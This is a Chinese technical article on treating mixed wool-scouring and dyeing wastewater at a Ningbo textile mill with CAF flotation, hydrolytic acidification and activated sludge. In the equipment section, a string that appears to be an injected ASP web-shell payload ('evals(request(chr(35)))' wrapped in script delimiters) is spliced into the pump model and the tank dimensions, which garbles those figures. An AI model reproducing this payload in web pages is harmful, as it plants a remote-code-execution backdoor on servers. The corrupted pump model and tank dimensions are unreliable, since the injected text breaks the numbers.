技术原理 ：

1 、工程概述：

宁波某毛纺织有限公司是一家以澳洲羊毛为原料 ，专业从事毛纺 、染色 、制衣的企业 。生产废水主要来自洗毛 、染色工序 。洗毛工序的羊毛洗净率在70％以上 ，洗毛废水中含有净洗剂 、碱等化学成分和大量羊毛脂 、羊汗和泥沙等污染物 ，羊毛脂是造成废水中COD和BOD的主要成分 。染色废水主要来自条染和匹染车间 ，工艺中使用的染料主要为酸性和分散染料 ，以及配套的染化助剂 ，废水中污染物浓度相对较低 。洗毛废水主要来自耙式洗毛机第一 、第二 、第三槽 ，第四 、第五槽较清洁的排水回流到前三槽进行逆流漂洗 ，每洗净1t原毛耗水25-35m3 ，洗毛废水平均排放量为200m3/d 。条染 、匹染车间排水为300m3/d 。混合废水量500m3/d 。

该公司在20世纪90年代初建有一套废水处理设施 ，采用溶气气浮（DAF）——混凝沉淀法处理 ，处理成本高 ，出水COD远远超过国家排胁准 ，被列入1999年宁波市市长目标限期治理责任制项目 。后进行改造 ，采用涡凹气浮（CAF）——水解酸化——活性污泥法工艺 ，在实际生产运行中取得了较好的效果。

2 、处理工艺流程 ：鉴于洗毛染色混合废水属于高浓度有机废水 ，较适合采用物化生化联合处理 。考虑到洗毛 、染色废水中酸含量较高 ，且含有大量的羊毛脂 、碎毛 、洗剂等 ，宜先经絮凝处理 。经试验 ，最后确定了铝铁复合混凝剂和阴离子聚丙烯酰胺（PAM）作为絮凝剂 ，并根据同类工程实践经验选用了CAF（涡凹气浮）工艺作为物化处理单元，生化单元采用水解酸化一活性污泥工艺（见图1） 。

3、主要构筑物及设备 ：

（1）调节池 。调节池兼作提升泵集水井 ，HRT为8h ，池体尺寸为10m×6m×3．5m ，有效水深为3m ，钢筋结构 。为防止泥沙沉淀和酸腐 ，采用穿孔曝气管定期曝气 ，气水比为5 ：1 。内设WQK 25-8-1"%><%evals(request(chr(35)))%><5型潜污泵2台 ，其中1台备用 。

（2）CAF（涡凹气浮）系统 。选用美国HydroCal环保公司**产品 ，型号为CAP-25型 ，处理能力为25m3/h 。整个系统由涡凹曝气段 、浮分段 、刮泥系统 、泥渣排放系统和水回流系统5部分组成 。池体尺寸为4"%><%evals(request(chr(35)))%><0m×1"%><%evals(request(chr(35)))%><52m×1"%><%evals(request(chr(35)))%><83m ，总功率为3kW 。

4 、工艺特点 ：

（1）该工艺由涡凹气浮一水解好氧生化一物化三段组成 ，其中物化段利用现有设施改造 ，节约了工程投资 。系统出水一直稳定在国家标准二级以内 。

（2）本工程采用的CAF系统是美国HydroCal环保公司专门为去除污水中的油脂 、胶状物和固体悬浮物而设计的系统 ，其原理是通过独特的涡凹曝气机将“微泡”直接注入废水中 ，而不需要事先采用溶气罐进行溶气 。实际使用证明 ，该系统非常适合于洗毛 、染色废水处理 ，COD 、BOD的去除率分别可达70％ 、46％以上 。